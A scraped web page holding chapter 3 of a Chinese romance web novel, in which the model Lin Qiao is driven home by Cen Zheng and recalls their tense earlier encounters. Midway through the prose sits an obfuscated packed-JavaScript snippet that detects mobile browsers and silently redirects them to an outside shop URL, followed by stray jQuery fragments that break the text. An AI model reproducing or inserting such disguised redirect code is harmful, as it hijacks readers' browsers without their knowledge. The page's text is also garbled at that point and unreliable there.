默认冷灰
24号文字
方正启体

3. 第 3 章

作者:檀灿本书字数:K更新时间:
    他是天生的嗓音很低,却不浑厚,带着说不清道不明的冷冽,突然乍现在耳边,撩得林俏心弦一动。


    谢他什么呢?她也不太能说清楚,山脚下华灯初上,山上劲风阵阵,林俏抿了抿唇:“谢谢你那天拉了我一把。”


    话音刚落,那个下午的狼狈记忆不由分说袭回脑海。


    她为了当模特挣钱,瞒着父亲放弃了上大学。她成绩不算拔尖,中考考上了市重点高中,临近高考,林爱民肝硬化腹水住院,母亲在疗养院状态不好,弟弟妹妹忙于中考,她一个人学校、医院、疗养院三头跑。最后高考失利,成绩出来那天,她正在水稻地里栽水稻,一天一百块钱,很平静地接受了自己比一模二模低了很多的成绩。


    林爱民知道她的成绩以后什么也没有说,只让她准备去上大学。他撑着刚出院的身体去工地上干活,给林俏挣大学学费,可林俏没了上大学的心思,索性瞎报了志愿。


    纸终究包不住火,事情暴露的那天,林爱民痛心疾首,在林家破败的院子里对她破口大骂,弟弟妹妹在一旁哭成一片,而她只跪在院子里,平静地流着泪接受一切责骂。


    岑矜就是这个时候把一辆京牌的奥迪停在了林家门口,手里拿着份文件,踌躇地问,谁是林俏。因为林俏刚成年,加上她条件好,凑巧岑政那几天就在青城谈项目,她便直接找了林俏,和她洽谈合约。


    林爱民满腔怒火无处发泄,乍见岑矜,怒火甚嚣尘上,他一把夺过合约撕得粉碎,然后指着岑矜指责她害人匪浅。岑矜是大小姐脾气,也不受这个气,一来二去便和林爱民吵了起来。


    总之吵到最后,林俏挡在两个人中间,林爱民高高扬起自己的巴掌,毫不留情向她挥过去。


    林俏那时咬着唇闭上眼没有躲,她真心希望承接住这个巴掌,打的越重越好,可惜,她没有如愿。在巴掌马上落下的瞬间,有个人伸手一把将她稳稳扯了过去。


    覆在她手腕上的温度微凉,转瞬便放开,伴随汤碗碎裂的声响,院子里原本的潮闷难闻被凛冽辛辣的薄荷味洗涤。那是林俏第一次遇见岑政,他微垂着眼,气质疏离,一只手插兜,完全置身这场闹剧外的闲适。


    思绪渐渐回拢,这段记忆对她而言是不愿提及的,可岑政却没表露出任何情绪,好像他就是一个这样的人,所有事情都不足他挂在心上。


    就像现在,他也只是轻轻揭过,意味不明地低笑:“我看你今天看见我的样子,不像是见恩人的模样。”


    车子开始向山脚下开,两个人都不是话多的人,速度慢了下来,因此每一分每一秒都显得格外磨人,尤其是对坐在他车里的林俏。


    “在公司都学些什么?”他随口问。


    “就那些,体态、走台步什么的。”林俏低头回答得简短


    岑政轻笑,侧目看她一眼:“你还管理身材?”


    “规定是这样。”


    “大家是都要管理”他目光回到路面,语气随意,“可像你一样,要出来接外快的可不就一个。”


    林俏呼吸一滞,手指无意识地收紧。车内的沉默蔓延了几秒。


    “我的事,不劳你费心。”她声音有些硬,转脸看向窗外。


    得,和他没关系,岑政索性不说话了,一路送她回公司在南山安排的公寓。


    林俏一路是越想越气,她觉得岑政这人忒不会说话,一次两次就算了,可两人每次见面他都对她蹦不出好话!


    第一次是两人第一次见面,闹剧结束后,岑矜本来打算不签林俏,拉着岑政就走了。林俏当时就从院子里一路追到家门口,追到那辆价值不菲的汽车面前,极尽狼狈地叩响车门。


    她一直叩了三声,车窗才被降下,日光打在她身上,村里人都出来观望,一道又一道目光像刺一样扎在她身上。那时岑政识趣地将身子向后倾斜,掏出口袋里的打火机,垂眼有一搭没一搭地把玩。


    她诚恳地请求岑矜再给她一次机会,岑矜以不希望破坏她家庭和睦为由强行拒绝。那时林俏一点没犹豫,直接说了句:“比起家庭和睦,我更需要的是钱。”


    驾驶位一直没出声的岑政,冷不丁坐直身子,同她对视,那是两个人第一次对视。在北方小城的夏日,一个在车内掌控全局,一个在车外卑微争取。


    他像是真的不理解,反问:“家庭不美满,又挣不到钱的多了去,凭什么要给你这次机会?”


    然后他开着车绝尘而去,徒留她一人面对漫天飞扬的尘土。


    还有一次是他去车站接她那天,他领着她出车站,二人一路无言。后来下车时,她礼貌对他说了句麻烦了,结果他不像旁人一样谦和,反而直接懒懒回了句:“你也知道是麻烦我。”


    那时林俏猝不及防对上他的眼睛,像幽深的潭水,不能深究,不知道什么时候就会溺进去,她哑口无言。


    良久,岑政望着她溢出声笑,一字一句慢悠悠开口:“你叫什么名字?”


    林俏那会儿不想告诉他,刚走出两步路,就听他在背后得逞似的语调:“俏皮的俏?”接着意味不明地补了一句:“这名字不称你。”


    还有就是在面试当天,那天她特别紧张,等在大厅里一遍又一遍背稿子。是岑矜和段嘉琳一起面试的她,岑矜对她印象一般,段嘉琳对她也不甚友好,甚至问了她好几个关于她家庭、隐私且难堪的问题。


    她悄悄攥紧了拳,没有发作,所以在岑矜告诉她面试结束时,她如蒙大赦准备离开。突然察觉身后带起一阵冷热交杂的风,剔了脊背、冷气侵洒的寒意,脖颈胳膊上起了一层鸡皮。


    她出于本能颤了一下,伴随岑矜那句带着意外的“阿政”转头,刚好看见面无表情推门而入的岑政。她缩在角落里给他让道,他迈着长腿走过去,坐在岑矜一旁,把手机摆在一边问:“入职的人面几个了?”


    “这个面完了,还剩三个,下面剩下的三个陪我们一起看?”


    “行啊。”岑政一挑眉,答应得爽快。


    林俏那会儿内心长吁一口浊气,她不管剩下三个人上辈子是干了什么穷凶极恶的事,轮到被他们三个人面。


    可她没得逞,她才迈出了两步,就被生生绊住,因为她清楚听见,那个男人用十分无所谓的语气说了一句:“这个人面过了?”


    没等人回答,他接着说:“刚好我碰上了,不如从你开始吧。”


    “您想问什么?”林俏闭了一下眼,再睁眼认命,再不适,也得按照他说的做。


    “年纪这么小,不读书想着来当模特,吃青春饭考虑好了?”他问得最冒犯,可语气却很平常:“认真回答。”


    “我没钱。”林俏摆了一下手,迎着他的眼神,没有自卑没有羞耻,轻飘飘两个字落下。


    她记得,那会儿他看了她很久,整个人向椅背靠,掀开钢笔帽,在入职面试打分表上,她的那一栏,打钩签字:“从一个火坑,跳到另一个火坑。”


    如今再想,还真是一语成谶,她可不是真又跳进一个火坑吗?她和初澜的合约签了两年,想解约是不可能,她也不会解约,毕竟每个月还能拿一万五的基础工资,大不了苟着呗。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16850313|191515||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只不过,身旁这人有时候说话的方式,总是叫她很不舒服。


    车子驶下山,限量版布加迪重新涌入车潮,鸣笛声从四面八方传来,吵得林俏头痛。她听不得这种声响,却因为和岑政怄气,咬着牙隐忍不说话。


    大概过了几秒,车窗被全部升起,噪音瞬间被隔绝,林俏无声松了一口气,远处的公寓楼也越来越明晰。


    恰逢一个红灯,要足足等上九十秒,身旁人突然唤她名字:“林俏。”


    岑政转向她,他身后是浮起的繁华灯火,眼尾眉梢吊着点笑,突然反应过来一样:“你很讨厌我?”


    两人离得实在太近,林俏向后靠了靠,剔透的眸子里几分无措,扬起脖颈:“我没说过。”


    “没说过?”他喉咙里逸出声笑,恍然大悟:“就是心里一直有这个想法,但没说出来,是吗?”


    “对!”林俏下定决心,一鼓作气:“恭喜你回过味了。”


    怎么着,就许你天天对我呛?


    想象中的畅快并没有到来,因为她发现自己只是单方面怄气,得到这个答案的岑政还是没有丝毫波动,他还是了然般点了下头,重新坐正在驾驶位,扯唇:“合着刚才那句谢谢也不是诚心的。”


    红灯转绿,车子轰然发动,野兽般的轰鸣响彻,速度陡然加快,一路疾驰,送她回了公寓,然后打开了车门。


    林俏下车的时候也没看他,自顾自低头解开外套,拿在手里,鼓起勇气向他一递:“还给你。”她顿了顿,而后咬着唇补了一句:“谢谢。”


    女孩手指纤细白皙,裸露在外的一截小臂像块上好的羊脂玉,岑政没着急接,一点点抬眸望她,戏谑:“你系着就是,这声谢谢是真心的?”


    林俏留下一句:“你觉着是就是。”


    当天晚上,林俏早早洗漱,公司提供住宿的公寓,三个女孩住在一起,临睡前孟念带着邱果来问她赛车场干的怎么样。


    林俏心里苦涩一片,面上还是带着淡笑道:“挺顺利的。”


    那天晚上岑政也是早早回家,他的房子在这座城市最繁华的地段,落地窗全景,一览圳城好风光。他刚洗完澡,额前黑发还零星滴水,给岑矜拨了个电话过去。


    电话响了十秒就被接通,她估计正在哪个酒吧释放,电话那头一片乱糟糟的杂音:“喂?阿政。”


    岑政皱眉,把手机撇远:“上次面试有个叫林俏的,记得吗?”


    “呦呵。”岑矜在那头挤眉弄眼的:“你还记着呢?怎么样?女孩长得是不是很漂亮,抛开她家里那一箩筐事不谈,她可是我最满意的。”


    脑袋里一闪而过林俏那张脸,不咸不淡回了句:“挑人眼光不错。”


    岑矜更奇了,岑政以前住在北京,周围家属院里那么多漂亮姑娘,愣是没见他提过一个。她着急出了包厢,找了个僻静角落:“你跟我打电话就因为她?”


    “也不全是,跟你说一声,她绩效考核从我这走。”


    “她绩效考核还没完成?”岑矜意外和失望之情溢于言表,悲愤:“我难不成看错人了?要不是你当时心软,你以为我看不出来,你故意让她追上了车,还见了鬼的跟她说话,后来面试你还给她打了个最高等级,我才不签她呢……”


    岑政耐心耗尽,直接挂了电话,也算搞明白,那人怎么落得一个去挣外快的地步了。接着滑进微信,点进去和段嘉琳干干净净的聊天记录。


    两人连节日祝福都没发过,他耐着性子,单手打出去一行字:〔人一个人出来不容易,差不多得了。〕
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)